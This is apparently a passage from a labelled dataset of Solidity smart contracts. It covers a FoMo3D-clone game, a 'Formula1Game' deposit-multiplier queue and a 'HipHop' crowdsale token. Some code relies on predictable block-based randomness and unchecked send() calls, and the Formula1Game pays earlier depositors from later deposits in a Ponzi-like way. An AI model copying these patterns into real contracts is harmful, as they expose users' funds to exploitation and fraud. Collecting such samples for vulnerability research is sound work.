pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,936 |
pragma solidity ^0.4.25;
contract Formula1Game {
address public support;
uint constant public PRIZE_PERCENT = 5;
uint constant public SUPPORT_PERCENT = 2;
uint constant public MAX_INVESTMENT = 0.1 ether;
uint constant public MIN_INVESTMENT = 0.01 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.01 ether;
uint constant public GAS_PRICE_MAX = 14;
uint constant public MAX_IDLE_TIME = 10 minutes;
uint constant public SIZE_TO_SAVE_INVEST = 10;
uint constant public TIME_TO_SAVE_INVEST = 5 minutes;
uint8[] MULTIPLIERS = [
125,
135,
145
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfoForPrize;
LastDepositInfo public previosDepositInfoForPrize;
uint public prizeAmount = 0;
uint public prizeStageAmount = 0;
int public stage = 0;
uint128 public lastDepositTime = 0;
mapping(address => DepositCount) public depositsMade;
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!");
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT);
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);
if(currentQueueSize < SIZE_TO_SAVE_INVEST){
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize();
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST);
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST);
returnPays();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount)
money = uint128(balance - prizeStageAmount);
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
money -= dep.expect;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function returnPays() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
dep.depositor.send(dep.deposit);
money -= dep.deposit;
delete queue[i];
}
prizeStageAmount = 0;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
lastDepositTime = uint128(now);
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage);
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
function withdrawPrize() private {
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17847 * 86400 - 9 * 3600) / (24 * 60 * 60);
}
function getNextStageStartTime() public view returns (uint) {
return 17847 * 86400 + 9 * 3600 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60);
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 78 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "HipHop Investment Coop";
string public constant TOKEN_SYMBOL = "HIPHOP";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x83AeC234cDaFB8d6eCA2dCe15e5001502Ce13d26;
uint public constant START_TIME = 1546395300;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
